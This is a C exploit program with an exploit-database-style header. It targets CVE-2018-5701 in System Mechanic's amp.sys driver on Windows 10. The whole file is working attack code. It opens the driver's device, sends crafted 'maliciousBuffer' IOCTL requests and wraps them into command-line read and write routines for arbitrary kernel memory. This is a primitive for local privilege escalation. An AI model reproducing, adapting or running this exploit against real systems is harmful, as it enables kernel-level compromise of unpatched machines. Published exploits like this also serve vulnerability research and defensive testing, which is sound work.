/* # Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write # Date: 26-09-2022 # Exploit Author: Brandon Marshall # Vendor Homepage: https://www.iolo.com/ # Tested Version - System Mechanic version 15.5.0.61 # Driver Version - 5.4.11 - amp.sys # Tested on OS - 64 bit Windows 10 (18362) # Fixed Version - System Mechanic 17.5.0.116 # CVE : CVE-2018-5701 */ #include #include #include #include #pragma warning(disable:4996) typedef struct _kernelDriverInformation { char* imageName; void* imageBase; }kernelDriverInformation, * PKernelDriverInformation; typedef struct _functionInformation { char* functionName; void* functionOffset; void* functionBase; }functionInformation, * PFunctionInformation; void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) { DWORD bytesReturned; NTSTATUS status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL); } HANDLE getDeviceHandle(char* name) { DWORD generic_read = 0x80000000; DWORD generic_write = 0x40000000; HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL); return handle; } void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0; // param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0; // param4 return (void*)maliciousBuffer; } void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48); // param4 *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0; //unknown *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1 return (void*)maliciousBuffer; } void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1); pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16; // this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2; // param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40); // param4 *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff; return (void*)maliciousBuffer; } DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) { void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize); callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize); free(writeAddresInAMPsKernelMemoryIOCTLBuffer); //address should now be written in kernel memory void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize); callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize); DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40); free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer); return returnVal; } void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) { void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize); callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize); free(writeAddresInAMPsKernelMemoryIOCTLBuffer); //address should now be written in kernel memory void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize); callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize); free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer); return; } void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) { DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize); DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize); void** Pqword = (void**)malloc(0x8); for (int i = 0; i < 4; i++) { ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i]; ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i]; } return (*(void**)Pqword); } void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) { writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize); writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize); } int main(int argc, char* argv[]) { ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16); HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP"); SIZE_T size = 0x300; if (strcmp(argv[1], "read") == 0) { void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size); printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD); } else if (strcmp(argv[1], "write") == 0) { ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16); writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size); printf("Wrote %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite); } }